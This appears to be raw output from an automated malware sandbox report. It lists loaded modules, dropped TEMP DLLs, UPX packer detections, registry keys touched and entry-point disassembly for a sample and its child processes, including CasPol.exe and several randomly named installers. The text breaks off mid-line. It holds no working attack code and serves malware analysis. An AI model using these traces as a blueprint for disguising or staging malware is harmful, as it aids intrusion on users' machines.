loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 68fc0000 "bb7917ed8063b9fd1cf3ea57fed87a5a.exe" loaded module "KERNEL32" at base 6bc40000 "bb7917ed8063b9fd1cf3ea57fed87a5a.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 44060000 "bb7917ed8063b9fd1cf3ea57fed87a5a.exe" loaded module "KERNEL32.DLL" at base 6bc40000 "bb7917ed8063b9fd1cf3ea57fed87a5a.exe" loaded module "ADVAPI32.DLL" at base 6c770000 "bb7917ed8063b9fd1cf3ea57fed87a5a.exe" loaded module "API-MS-WIN-CRT-HEAP-L1-1-0.DLL" at base 69cc0000 "bb7917ed8063b9fd1cf3ea57fed87a5a.exe" loaded module "API-MS-WIN-CRT-LOCALE-L1-1-0.DLL" at base 69cc0000 "bb7917ed8063b9fd1cf3ea57fed87a5a.exe" loaded module "API-MS-WIN-CRT-MATH-L1-1-0.DLL" at base 69cc0000 "bb7917ed8063b9fd1cf3ea57fed87a5a.exe" loaded module "API-MS-WIN-CRT-RUNTIME-L1-1-0.DLL" at base 69cc0000 "bb7917ed8063b9fd1cf3ea57fed87a5a.exe" loaded module "API-MS-WIN-CRT-STDIO-L1-1-0.DLL" at base 69cc0000 "bb7917ed8063b9fd1cf3ea57fed87a5a.exe" loaded module "API-MS-WIN-CRT-STRING-L1-1-0.DLL" at base 69cc0000 "bb7917ed8063b9fd1cf3ea57fed87a5a.exe" loaded module "BCRYPT.DLL" at base 68a10000 "bb7917ed8063b9fd1cf3ea57fed87a5a.exe" loaded module "OLE32.DLL" at base 6bd60000 "bb7917ed8063b9fd1cf3ea57fed87a5a.exe" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base 69c40000 "bb7917ed8063b9fd1cf3ea57fed87a5a.exe" loaded module "NTDLL.DLL" at base 6cbc0000 "CasPol.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 76290000 "CasPol.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 76290000 "CasPol.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 76290000 "CasPol.exe" loaded module "KERNEL32" at base 76950000 "CasPol.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 6ed70000 "CasPol.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\SHELL32.DLL" at base 0 "CasPol.exe" loaded module "SHELL32.DLL" at base 74310000 "CasPol.exe" loaded module "USER32.DLL" at base 76110000 "CasPol.exe" loaded module "NTDLL.DLL" at base 76f50000 "CasPol.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\IPHLPAPI.DLL" at base 0 "CasPol.exe" loaded module "KERNEL32.DLL" at base 76950000 "CasPol.exe" loaded module "IPHLPAPI.DLL" at base 73890000 "CasPol.exe" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base 73350000 "CasPol.exe" loaded module "%WINDIR%\SYSTEM32\RASADHLP.DLL" at base 6ed60000 "CasPol.exe" loaded module "%WINDIR%\SYSTEM32\FWPUCLNT.DLL" at base 6ed10000 "CasPol.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\SECUR32.DLL" at base 0 "CasPol.exe" loaded module "SECUR32.DLL" at base 6ed00000 "CasPol.exe" loaded module "%WINDIR%\SYSWOW64\SCHANNEL.DLL" at base 6ec90000 "CasPol.exe" loaded module "SSPICLI.DLL" at base 73970000 "CasPol.exe" loaded module "MSKEYPROTECT.DLL" at base 6ec80000 "CasPol.exe" loaded module "%WINDIR%\SYSTEM32\NCRYPTSSLP.DLL" at base 6ec10000 "CasPol.exe" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base 740c0000 "CasPol.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\CRYPT32.DLL" at base 0 "CasPol.exe" loaded module "CRYPT32.DLL" at base 73a10000 "CasPol.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CRYPT32.DLL" at base 0 "CasPol.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 6eff0000 "CasPol.exe" loaded module "WS2_32.DLL" at base 76ee0000 "CasPol.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 733f0000 "CasPol.exe" loaded module "%WINDIR%\SYSTEM32\PROPSYS.DLL" at base 72ec0000 "CasPol.exe" loaded module "%WINDIR%\SYSTEM32\WINDOWS.STORAGE.DLL" at base 75780000 "CasPol.exe" loaded module "%WINDIR%\SYSWOW64\\WINDOWS.STATEREPOSITORYPS.DLL" at base 6eac0000 "CasPol.exe" loaded module "%WINDIR%\SYSWOW64\SHELL32.DLL" at base 74310000 "CasPol.exe" loaded module "%WINDIR%\SYSWOW64\URLMON.DLL" at base 70e60000 "CasPol.exe" loaded module "NTVDM64.DLL" at base 6eab0000 "CasPol.exe" loaded module "ADVAPI32.DLL" at base 76a30000 "CasPol.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 738c0000 "pnyhlJ15kIGAuyP1DTRWyj5L.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 76290000 "pnyhlJ15kIGAuyP1DTRWyj5L.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 76290000 "pnyhlJ15kIGAuyP1DTRWyj5L.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 76290000 "pnyhlJ15kIGAuyP1DTRWyj5L.exe" loaded module "KERNEL32" at base 76950000 "pnyhlJ15kIGAuyP1DTRWyj5L.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 6ed70000 "pnyhlJ15kIGAuyP1DTRWyj5L.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 733f0000 "pnyhlJ15kIGAuyP1DTRWyj5L.exe" loaded module "%WINDIR%\SYSTEM32\USERENV.DLL" at base 6ea00000 "pnyhlJ15kIGAuyP1DTRWyj5L.exe" loaded module "%WINDIR%\SYSTEM32\SETUPAPI.DLL" at base 73ba0000 "pnyhlJ15kIGAuyP1DTRWyj5L.exe" loaded module "NTDLL.DLL" at base 76f50000 "pnyhlJ15kIGAuyP1DTRWyj5L.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 738c0000 "pnyhlJ15kIGAuyP1DTRWyj5L.exe" loaded module "%WINDIR%\SYSTEM32\PROPSYS.DLL" at base 72ec0000 "pnyhlJ15kIGAuyP1DTRWyj5L.exe" loaded module "%WINDIR%\SYSTEM32\DWMAPI.DLL" at base 73180000 "pnyhlJ15kIGAuyP1DTRWyj5L.exe" loaded module "%WINDIR%\SYSTEM32\CRYPTBASE.DLL" at base 73960000 "pnyhlJ15kIGAuyP1DTRWyj5L.exe" loaded module "%WINDIR%\SYSTEM32\OLEACC.DLL" at base 6e9a0000 "pnyhlJ15kIGAuyP1DTRWyj5L.exe" loaded module "%WINDIR%\SYSTEM32\CLBCATQ.DLL" at base 73fd0000 "pnyhlJ15kIGAuyP1DTRWyj5L.exe" loaded module "%WINDIR%\SYSTEM32\NTMARTA.DLL" at base 72d70000 "pnyhlJ15kIGAuyP1DTRWyj5L.exe" loaded module "%WINDIR%\SYSTEM32\VERSION.DLL" at base 736a0000 "pnyhlJ15kIGAuyP1DTRWyj5L.exe" loaded module "%WINDIR%\SYSTEM32\SHFOLDER.DLL" at base 6e990000 "pnyhlJ15kIGAuyP1DTRWyj5L.exe" loaded module "KERNEL32.DLL" at base 76950000 "pnyhlJ15kIGAuyP1DTRWyj5L.exe" loaded module "%TEMP%\NSTCE5.TMP\INETC.DLL" at base 10000000 "pnyhlJ15kIGAuyP1DTRWyj5L.exe" loaded module "COMCTL32.DLL" at base 6ea30000 "pnyhlJ15kIGAuyP1DTRWyj5L.exe" loaded module "RPCRT4.DLL" at base 76470000 "pnyhlJ15kIGAuyP1DTRWyj5L.exe" loaded module "SSPICLI.DLL" at base 73970000 "pnyhlJ15kIGAuyP1DTRWyj5L.exe" loaded module "USER32.DLL" at base 76110000 "pnyhlJ15kIGAuyP1DTRWyj5L.exe" loaded module "ONDEMANDCONNROUTEHELPER.DLL" at base 6e3d0000 "pnyhlJ15kIGAuyP1DTRWyj5L.exe" loaded module "WINHTTP.DLL" at base 6ee10000 "pnyhlJ15kIGAuyP1DTRWyj5L.exe" loaded module "%WINDIR%\SYSTEM32\ONDEMANDCONNROUTEHELPER.DLL" at base 6e3d0000 "pnyhlJ15kIGAuyP1DTRWyj5L.exe" loaded module "WININET" at base 6e410000 "pnyhlJ15kIGAuyP1DTRWyj5L.exe" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base 73350000 "pnyhlJ15kIGAuyP1DTRWyj5L.exe" loaded module "API-MS-WIN-CORE-PROCESSTHREADS-L1-1-2.DLL" at base 76950000 "pnyhlJ15kIGAuyP1DTRWyj5L.exe" loaded module "MSISO.DLL" at base 70be0000 "pnyhlJ15kIGAuyP1DTRWyj5L.exe" loaded module "%WINDIR%\SYSTEM32\RASADHLP.DLL" at base 6ed60000 "pnyhlJ15kIGAuyP1DTRWyj5L.exe" loaded module "%WINDIR%\SYSTEM32\FWPUCLNT.DLL" at base 6ed10000 "pnyhlJ15kIGAuyP1DTRWyj5L.exe" loaded module "%WINDIR%\SYSTEM32\WS2_32" at base 76ee0000 "pnyhlJ15kIGAuyP1DTRWyj5L.exe" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base 740c0000 "pnyhlJ15kIGAuyP1DTRWyj5L.exe" loaded module "%WINDIR%\SYSWOW64\SCHANNEL.DLL" at base 6ec90000 "pnyhlJ15kIGAuyP1DTRWyj5L.exe" loaded module "MSKEYPROTECT.DLL" at base 6ec80000 "pnyhlJ15kIGAuyP1DTRWyj5L.exe" loaded module "%WINDIR%\SYSWOW64\WINTRUST.DLL" at base 76530000 "pnyhlJ15kIGAuyP1DTRWyj5L.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 6eff0000 "pnyhlJ15kIGAuyP1DTRWyj5L.exe" loaded module "%WINDIR%\SYSTEM32\CRYPTNET.DLL" at base 6de20000 "pnyhlJ15kIGAuyP1DTRWyj5L.exe" loaded module "%WINDIR%\SYSWOW64\CRYPTNET.DLL" at base 6de20000 "pnyhlJ15kIGAuyP1DTRWyj5L.exe" loaded module "%WINDIR%\SYSTEM32\CRYPT32.DLL" at base 73a10000 "pnyhlJ15kIGAuyP1DTRWyj5L.exe" loaded module "CRYPTNET.DLL" at base 6de20000 "pnyhlJ15kIGAuyP1DTRWyj5L.exe" loaded module "%WINDIR%\SYSTEM32\NCRYPTSSLP.DLL" at base 6ec10000 "pnyhlJ15kIGAuyP1DTRWyj5L.exe" loaded module "WS2_32.DLL" at base 76ee0000 "pnyhlJ15kIGAuyP1DTRWyj5L.exe" loaded module "EXT-MS-WIN-KERNEL32-ERRORHANDLING-L1-1-0.DLL" at base 76950000 "tADoao6OOjGypodPFPdb9O4N.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 76290000 "tADoao6OOjGypodPFPdb9O4N.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 76290000 "tADoao6OOjGypodPFPdb9O4N.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 76290000 "tADoao6OOjGypodPFPdb9O4N.exe" loaded module "KERNEL32" at base 76950000 "tADoao6OOjGypodPFPdb9O4N.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 6ed70000 "tADoao6OOjGypodPFPdb9O4N.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 733f0000 "tADoao6OOjGypodPFPdb9O4N.exe" loaded module "%WINDIR%\SYSTEM32\USERENV.DLL" at base 6ea00000 "tADoao6OOjGypodPFPdb9O4N.exe" loaded module "%WINDIR%\SYSTEM32\SETUPAPI.DLL" at base 73ba0000 "tADoao6OOjGypodPFPdb9O4N.exe" loaded module "NTDLL.DLL" at base 76f50000 "tADoao6OOjGypodPFPdb9O4N.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 738c0000 "tADoao6OOjGypodPFPdb9O4N.exe" loaded module "%WINDIR%\SYSTEM32\PROPSYS.DLL" at base 72ec0000 "tADoao6OOjGypodPFPdb9O4N.exe" loaded module "%WINDIR%\SYSTEM32\DWMAPI.DLL" at base 73180000 "tADoao6OOjGypodPFPdb9O4N.exe" loaded module "%WINDIR%\SYSTEM32\CRYPTBASE.DLL" at base 73960000 "tADoao6OOjGypodPFPdb9O4N.exe" loaded module "%WINDIR%\SYSTEM32\OLEACC.DLL" at base 6e9a0000 "tADoao6OOjGypodPFPdb9O4N.exe" loaded module "%WINDIR%\SYSTEM32\CLBCATQ.DLL" at base 73fd0000 "tADoao6OOjGypodPFPdb9O4N.exe" loaded module "%WINDIR%\SYSTEM32\NTMARTA.DLL" at base 72d70000 "tADoao6OOjGypodPFPdb9O4N.exe" loaded module "%WINDIR%\SYSTEM32\VERSION.DLL" at base 736a0000 "tADoao6OOjGypodPFPdb9O4N.exe" loaded module "%WINDIR%\SYSTEM32\SHFOLDER.DLL" at base 6e990000 "tADoao6OOjGypodPFPdb9O4N.exe" loaded module "KERNEL32.DLL" at base 76950000 "tADoao6OOjGypodPFPdb9O4N.exe" loaded module "%TEMP%\NSZ10AC.TMP\CHECKER.DLL" at base 6e290000 "tADoao6OOjGypodPFPdb9O4N.exe" loaded module "%TEMP%\NSZ10AC.TMP\ZIP.DLL" at base 6e3b0000 "tADoao6OOjGypodPFPdb9O4N.exe" loaded module "USER32.DLL" at base 76110000 "tADoao6OOjGypodPFPdb9O4N.exe" loaded module "ADVAPI32.DLL" at base 76a30000 "tADoao6OOjGypodPFPdb9O4N.exe" loaded module "SHLWAPI.DLL" at base 760c0000 "tADoao6OOjGypodPFPdb9O4N.exe" loaded module "PSAPI.DLL" at base 76a20000 "tADoao6OOjGypodPFPdb9O4N.exe" loaded module "SHELL32.DLL" at base 74310000 "tADoao6OOjGypodPFPdb9O4N.exe" loaded module "OLE32.DLL" at base 75ea0000 "tADoao6OOjGypodPFPdb9O4N.exe" loaded module "OLEAUT32.DLL" at base 75650000 "tADoao6OOjGypodPFPdb9O4N.exe" loaded module "%WINDIR%\SYSWOW64\WINDOWS.STORAGE.DLL" at base 75780000 "tADoao6OOjGypodPFPdb9O4N.exe" loaded module "RPCRT4.DLL" at base 76470000 "tADoao6OOjGypodPFPdb9O4N.exe" loaded module "CSCAPI.DLL" at base 72c80000 "BroomSetup.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 76290000 "BroomSetup.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 76290000 "BroomSetup.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 76290000 "BroomSetup.exe" loaded module "KERNEL32" at base 76950000 "BroomSetup.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 6ed70000 "BroomSetup.exe" loaded module "KERNEL32.DLL" at base 76950000 "BroomSetup.exe" loaded module "MSCTF.DLL" at base 76c60000 "BroomSetup.exe" loaded module "IMM32.DLL" at base 742e0000 "BroomSetup.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 733f0000 "BroomSetup.exe" loaded module "WTSAPI32.DLL" at base 734b0000 "BroomSetup.exe" loaded module "NTDLL.DLL" at base 76f50000 "BroomSetup.exe" loaded module "RPCRT4.DLL" at base 76470000 "BroomSetup.exe" loaded module "UXTHEME.DLL" at base 733f0000 "BroomSetup.exe" loaded module "USER32.DLL" at base 76110000 "BroomSetup.exe" loaded module "COMCTL32.DLL" at base 6e770000 "BroomSetup.exe" loaded module "COLORUI.DLL" at base 6e330000 "BroomSetup.exe" loaded module "SHELL32.DLL" at base 74310000 "BroomSetup.exe" loaded module "COMDLG32.DLL" at base 76e00000 "BroomSetup.exe" loaded module "COMPSTUI.DLL" at base 6e360000 "BroomSetup.exe" loaded module "INETRES.DLL" at base 4e20000 "BroomSetup.exe" loaded module "GDIPLUS.DLL" at base 736b0000 "BroomSetup.exe" loaded module "%WINDIR%\WINSXS\X86_MICROSOFT.WINDOWS.GDIPLUS_6595B64144CCF1DF_1.1.16299.248_NONE_8E66FBC1026DF8AB\GDIPLUS.DLL" at base 736b0000 "BroomSetup.exe" loaded module "MSIMG32.DLL" at base 6e3a0000 "BroomSetup.exe" loaded module "%WINDIR%\SYSTEM32\PROPSYS.DLL" at base 72ec0000 "BroomSetup.exe" loaded module "DWMAPI.DLL" at base 73180000 "BroomSetup.exe" loaded module "UXTHEME" at base 733f0000 "BroomSetup.exe" loaded module "USER32" at base 76110000 "BroomSetup.exe" loaded module "%WINDIR%\SYSTEM32\WINDOWS.STORAGE.DLL" at base 75780000 "BroomSetup.exe" loaded module "%WINDIR%\SYSWOW64\THUMBCACHE.DLL" at base 6e240000 "BroomSetup.exe" loaded module "%WINDIR%\SYSTEM32\WINDOWSCODECS.DLL" at base 731e0000 "BroomSetup.exe" loaded module "GDI32.DLL" at base 76c30000 "BroomSetup.exe" loaded module "SHCORE.DLL" at base 75e10000 "BroomSetup.exe" loaded module "COMCTL32" at base 6e770000 "BroomSetup.exe" loaded module "%WINDIR%\SYSTEM32\MSCTF.DLL" at base 76c60000 "BroomSetup.exe" loaded module "%WINDIR%\SYSTEM32\OLE32.DLL" at base 75ea0000 "nsn192A.tmp.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 76290000 "nsn192A.tmp.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 76290000 "nsn192A.tmp.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 76290000 "nsn192A.tmp.exe" loaded module "KERNEL32" at base 76950000 "nsn192A.tmp.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 6ed70000 "nsn192A.tmp.exe" loaded module "MSIMG32.DLL" at base 6e3a0000 "nsn192A.tmp.exe" loaded module "KERNEL32.DLL" at base 76950000 "nsn192A.tmp.exe" loaded module "MSVCRT.DLL" at base 75d50000 "nsn192A.tmp.exe" loaded module "MSVCR100.DLL" at base 6dd90000 "nsn192A.tmp.exe" loaded module "ADVAPI32.DLL" at base 76a30000 "nsn192A.tmp.exe" loaded module "GDI32.DLL" at base 76c30000 "nsn192A.tmp.exe" loaded module "USER32.DLL" at base 76110000 "nsn192A.tmp.exe" loaded module "CRYPT32.DLL" at base 73a10000 "nsn192A.tmp.exe" loaded module "NTDLL.DLL" at base 76f50000 "nsn192A.tmp.exe" loaded module "RPCRT4.DLL" at base 76470000 "nsn192A.tmp.exe" loaded module "SSPICLI.DLL" at base 73970000 "nsn192A.tmp.exe" loaded module "GDIPLUS.DLL" at base 736b0000 "nsn192A.tmp.exe" loaded module "OLE32.DLL" at base 75ea0000 "nsn192A.tmp.exe" loaded module "BCRYPT.DLL" at base 72c90000 "nsn192A.tmp.exe" loaded module "WININET.DLL" at base 6e410000 "nsn192A.tmp.exe" loaded module "SHLWAPI.DLL" at base 760c0000 "nsn192A.tmp.exe" loaded module "SHELL32.DLL" at base 74310000 "nsn192A.tmp.exe" loaded module "PSAPI.DLL" at base 76a20000 "nsn192A.tmp.exe" loaded module "RSTRTMGR.DLL" at base 6dd60000 "nsn192A.tmp.exe" loaded module "ONDEMANDCONNROUTEHELPER.DLL" at base 6e3d0000 "nsn192A.tmp.exe" loaded module "WINHTTP.DLL" at base 6ee10000 "nsn192A.tmp.exe" loaded module "%WINDIR%\SYSTEM32\ONDEMANDCONNROUTEHELPER.DLL" at base 6e3d0000 "nsn192A.tmp.exe" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base 73350000 "nsn192A.tmp.exe" loaded module "API-MS-WIN-CORE-PROCESSTHREADS-L1-1-2.DLL" at base 76950000 "nsn192A.tmp.exe" loaded module "MSISO.DLL" at base 70be0000 "nsn192A.tmp.exe" loaded module "%WINDIR%\SYSTEM32\WS2_32" at base 76ee00003a:T41c,"bb7917ed8063b9fd1cf3ea57fed87a5a.exe" loaded module "%WINDIR%\System32\bcryptprimitives.dll" at 69C40000 "bb7917ed8063b9fd1cf3ea57fed87a5a.exe" loaded module "%WINDIR%\System32\bcrypt.dll" at 68A10000 "CasPol.exe" loaded module "%WINDIR%\SysWOW64\bcryptprimitives.dll" at 740C0000 "CasPol.exe" loaded module "%WINDIR%\SysWOW64\bcrypt.dll" at 72C90000 "pnyhlJ15kIGAuyP1DTRWyj5L.exe" loaded module "%WINDIR%\SysWOW64\bcryptprimitives.dll" at 740C0000 "pnyhlJ15kIGAuyP1DTRWyj5L.exe" loaded module "%WINDIR%\SysWOW64\bcrypt.dll" at 72C90000 "tADoao6OOjGypodPFPdb9O4N.exe" loaded module "%WINDIR%\SysWOW64\bcryptprimitives.dll" at 740C0000 "tADoao6OOjGypodPFPdb9O4N.exe" loaded module "%WINDIR%\SysWOW64\bcrypt.dll" at 72C90000 "BroomSetup.exe" loaded module "%WINDIR%\SysWOW64\bcryptprimitives.dll" at 740C0000 "BroomSetup.exe" loaded module "%WINDIR%\SysWOW64\bcrypt.dll" at 72C90000 "nsn192A.tmp.exe" loaded module "%WINDIR%\SysWOW64\bcryptprimitives.dll" at 740C0000 "nsn192A.tmp.exe" loaded module "%WINDIR%\SysWOW64\bcrypt.dll" at 72C900003b:T558,"bb7917ed8063b9fd1cf3ea57fed87a5a" was detected as "UPX" and name: "Packer" "bb7917ed8063b9fd1cf3ea57fed87a5a" was detected as "Microsoft Linker" and name: "Linker" "EQxweFwDefVKEdjRSJJROzCN.exe" was detected as "UPX" and name: "Packer" "EQxweFwDefVKEdjRSJJROzCN.exe" was detected as "Microsoft Linker" and name: "Linker" "7KVCFfyDvEerh4UVg4DysCjN.exe" was detected as "UPX" and name: "Packer" "7KVCFfyDvEerh4UVg4DysCjN.exe" was detected as "Microsoft Linker" and name: "Linker" "ClocX.exe" was detected as "UPX" and name: "Packer" "ClocX.exe" was detected as "Microsoft Linker" and name: "Linker" "nsn192A.tmp.exe" was detected as "UPX" and name: "Packer" "nsn192A.tmp.exe" was detected as "Microsoft Linker" and name: "Linker" "Zip.dll" was detected as "UPX" and name: "Packer" "Zip.dll" was detected as "Microsoft Linker" and name: "Linker" "uninst.exe" was detected as "UPX" and name: "Packer" "uninst.exe" was detected as "Microsoft Linker" and name: "Linker" "Checker.dll" was detected as "UPX" and name: "Packer" "Checker.dll" was detected as "Microsoft Linker" and name: "Linker" "INetC.dll" was detected as "UPX" and name: "Packer" "INetC.dll" was detected as "Microsoft Linker" and name: "Linker" "nsf111B.tmp" was detected as "UPX" and name: "Packer" "nsf111B.tmp" was detected as "Microsoft Linker" and name: "Linker"3c:T6ba,"CasPol.exe" touched "Shell File System Folder" (Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{0E5AAE11-A475-4C5B-AB00-C66DE400274E}\INPROCSERVER32") "CasPol.exe" touched "Sync root manager" (Path: "HKCU\WOW6432NODE\CLSID\{F324E4F9-8496-40B2-A1FF-9617C1C9AFFE}\INSTANCE") "CasPol.exe" touched "Computer" (Path: "HKCU\WOW6432NODE\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER") "CasPol.exe" touched "Memory Mapped Cache Mgr" (Path: "HKCU\WOW6432NODE\CLSID\{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}\TREATAS") "CasPol.exe" touched "Known Folder Manager" (Path: "HKCU\WOW6432NODE\CLSID\{4DF0C730-DF9D-4AE3-9153-AA6B82E9795A}\TREATAS") "CasPol.exe" touched "Property System Both Class Factory" (Path: "HKCU\WOW6432NODE\CLSID\{76765B11-3F95-4AF2-AC9D-EA55D8994F1A}\TREATAS") "CasPol.exe" touched "Security Manager" (Path: "HKCU\WOW6432NODE\CLSID\{7B8A2D94-0AC9-11D1-896C-00C04FB6BFC4}\TREATAS") "CasPol.exe" touched "ShellItemArray Shell Namespace helper" (Path: "HKCU\WOW6432NODE\CLSID\{CDC82860-468D-4D4E-B7E7-C298FF23AB2C}\TREATAS") "CasPol.exe" touched "ShellItem Shell Namespace helper" (Path: "HKCU\WOW6432NODE\CLSID\{9AC9FBE1-E0A2-4AD6-B4EE-E212013EA917}\TREATAS") "tADoao6OOjGypodPFPdb9O4N.exe" touched "Shortcut" (Path: "HKCU\WOW6432NODE\CLSID\{00021401-0000-0000-C000-000000000046}\TREATAS") "BroomSetup.exe" touched "UsersFiles" (Path: "HKCU\WOW6432NODE\CLSID\{59031A47-3F72-44A7-89C5-5595FE6B30EE}\SHELLFOLDER") "BroomSetup.exe" touched "delegate folder that appears in Users Files Folder" (Path: "HKCU\WOW6432NODE\CLSID\{DFFACDC5-679F-4156-8947-C5C76BC0B67F}\INSTANCE") "BroomSetup.exe" touched "Local Icon Cache" (Path: "HKCU\WOW6432NODE\CLSID\{2155FEE3-2419-4373-B102-6843707EB41F}\TREATAS")3d:T1498,"bb7917ed8063b9fd1cf3ea57fed87a5a" file has an entrypoint instructions - "push rbx,push rsi,push rdi,push rbp,lea rsi, [rip - 0xc461b],lea rdi, [rsi - 0x1a0000],lea rax, [rdi + 0x23ba58],push qword ptr [rax],mov dword ptr [rax], 0x9d399433,push rax,push rdi,mov eax, 0x263ed6,push rax,mov rcx, rsp,mov rdx, rdi,mov rdi, rsi,mov esi, 0xc4607,push rbp,mov rbp, rsp,mov r9d, dword ptr [rcx],mov r8, rdx,mov rdx, rsi,lea rsi, [rdi + 2],push rsi,mov al, byte ptr [rdi],dec edx,mov cl, al,and al, 7,shr cl, 3,mov rbx, -0x300,shl rbx, cl,mov cl, al," "EQxweFwDefVKEdjRSJJROzCN.exe" file has an entrypoint instructions - "push ebp,mov ebp, esp,sub esp, 0x224,push esi,push edi,xor edi, edi,push 0x8001,mov dword ptr [ebp - 0x14], edi,mov dword ptr [ebp - 0xc], 0x40a188,mov dword ptr [ebp - 8], edi,mov byte ptr [ebp - 4], 0x20,call dword ptr [0x40809c],mov esi, dword ptr [0x4080a0],lea eax, [ebp - 0xc4],push eax,mov dword ptr [ebp - 0xb0], edi,mov dword ptr [ebp - 0x30], edi,mov dword ptr [ebp - 0x2c], edi,mov dword ptr [ebp - 0xc4], 0x9c,call esi,test eax, eax,jne 0x403413,lea eax, [ebp - 0xc4],mov dword ptr [ebp - 0xc4], 0x94,push eax," "7KVCFfyDvEerh4UVg4DysCjN.exe" file has an entrypoint instructions - "sub esp, 0x3f8,push ebp,push esi,push edi,push 0x20,pop edi,xor ebp, ebp,push 0x8001,mov dword ptr [esp + 0x20], ebp,mov dword ptr [esp + 0x18], 0x40a2d8,mov dword ptr [esp + 0x14], ebp,call dword ptr [0x4080a4],mov esi, dword ptr [0x4080a8],lea eax, [esp + 0x34],push eax,mov dword ptr [esp + 0x4c], ebp,mov dword ptr [esp + 0x14c], ebp,mov dword ptr [esp + 0x150], ebp,mov dword ptr [esp + 0x38], 0x11c,call esi,test eax, eax,jne 0x4035be,lea eax, [esp + 0x34],mov dword ptr [esp + 0x34], 0x114,push eax,call esi," "ClocX.exe" file has an entrypoint instructions - "call 0x51b8d4,jmp 0x50ded4,mov edi, edi,push ebp,mov ebp, esp,push esi,push edi,mov edi, dword ptr [ebp + 0x10],mov eax, edi,sub eax, 0,je 0x50f517,dec eax,je 0x50f506,dec eax,je 0x50f4da,dec eax,je 0x50f496,dec eax,je 0x50f415,mov ecx, dword ptr [ebp + 0xc],mov eax, dword ptr [ebp + 8],push ebx,push 0x20,pop edx,jmp 0x50e4bd,mov esi, dword ptr [eax],cmp esi, dword ptr [ecx],je 0x50e105,movzx esi, byte ptr [eax],movzx ebx, byte ptr [ecx],sub esi, ebx,je 0x50e0ae,xor ebx, ebx,test esi, esi,setg bl," "nsn192A.tmp.exe" file has an entrypoint instructions - "call 0x40b98a,jmp 0x401f97,mov edi, edi,push ebp,mov ebp, esp,sub esp, 0x328,mov dword ptr [0x43c468], eax,mov dword ptr [0x43c464], ecx,mov dword ptr [0x43c460], edx,mov dword ptr [0x43c45c], ebx,mov dword ptr [0x43c458], esi,mov dword ptr [0x43c454], edi,mov word ptr [0x43c480], ss,mov word ptr [0x43c474], cs,mov word ptr [0x43c450], ds,mov word ptr [0x43c44c], es,mov word ptr [0x43c448], fs,mov word ptr [0x43c444], gs,pushfd ," "Zip.dll" file has an entrypoint instructions - "mov edi, edi,push ebp,mov ebp, esp,cmp dword ptr [ebp + 0xc], 1,jne 0x10006fc5,call 0x10009a50,push dword ptr [ebp + 8],mov ecx, dword ptr [ebp + 0x10],mov edx, dword ptr [ebp + 0xc],call 0x10006ebf,pop ecx,pop ebp,ret 0xc,mov edi, edi,push ebp,mov ebp, esp,sub esp, 0x328,mov dword ptr [0x10012cf0], eax,mov dword ptr [0x10012cec], ecx,mov dword ptr [0x10012ce8], edx,mov dword ptr [0x10012ce4], ebx,mov dword ptr [0x10012ce0], esi,mov dword ptr [0x10012cdc], edi,mov word ptr [0x10012d08], ss,mov word ptr [0x10012cfc], cs," "uninst.exe" file has an entrypoint instructions - "push ebp,mov ebp, esp,sub esp, 0x224,push esi,push edi,xor edi, edi,push 0x8001,mov dword ptr [ebp - 0x14], edi,mov dword ptr [ebp - 0xc], 0x40a188,mov dword ptr [ebp - 8], 